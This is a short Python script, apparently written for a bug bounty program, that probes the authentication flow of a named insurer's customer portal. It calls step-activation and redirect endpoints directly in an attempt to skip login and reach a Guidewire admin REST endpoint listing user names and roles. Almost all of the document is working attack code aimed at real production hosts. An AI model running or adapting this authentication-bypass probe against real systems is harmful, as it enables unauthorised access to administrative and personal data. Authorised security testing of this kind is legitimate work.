#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from urllib.parse import quote
import json
ident={'X-Bug-Bounty':'dwbzn'}
base='https://mein-portal.baloise.de/auth'
loc='https://gwde.baloise.de/pc/rest/admin/v1/users/default_data:1?fields=username,active,displayName,roles'

def summarize(name,r):
 try:j=r.json()
 except:j={}
 m=j.get('meta',{})
 print(json.dumps({'name':name,'status':r.status_code,'len':len(r.content),'exchange':getattr(r,'toadex_exchange_id',None),'next':m.get('nextAuthStep'),'forward':m.get('forwardUrl'),'ui':m.get('uiSettings'),'errors':j.get('errors'),'preview':r.text[:500]},ensure_ascii=False))
 return j

def session():
 s=requests.Session(impersonate='chrome')
 s.get(base+'/ui/app/auth/application/access?Location='+quote(loc,safe=''),headers=ident,timeout=20)
 return s

def h(s): return {**ident,'Accept':'application/json, application/vnd.api+json','Content-Type':'application/json','X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or ''}

# Inventory current jumpable state
s=session(); r=s.post(base+'/rest/public/authentication/location/access',headers=h(s),json={'location':loc},timeout=20); summarize('start-inventory',r)
for path in ['dynamic-steps/retrieve','goto-targets/retrieve']:
 r=s.post(base+'/rest/public/authentication/'+path,headers=h(s),data=b'',timeout=20); summarize(path,r)

# Direct activation
s=session(); summarize('start-activate',s.post(base+'/rest/public/authentication/location/access',headers=h(s),json={'location':loc},timeout=20))
for path in ['dynamic-steps/portal-redirect/activate','applications/guidewire_pc/access']:
 body=None
 r=s.post(base+'/rest/public/authentication/'+path,headers=h(s),data=b'' if body is None else body,timeout=20); summarize('activate:'+path,r)
q=s.get(loc,headers=ident,allow_redirects=False,timeout=20); summarize('activate:gwde',q)

# Direct goto
s=session(); summarize('start-goto',s.post(base+'/rest/public/authentication/location/access',headers=h(s),json={'location':loc},timeout=20))
r=s.post(base+'/rest/public/authentication/goto-targets/portal-redirect/goto',headers=h(s),data=b'',timeout=20); summarize('goto:portal-redirect',r)
q=s.get(loc,headers=ident,allow_redirects=False,timeout=20); summarize('goto:gwde',q)
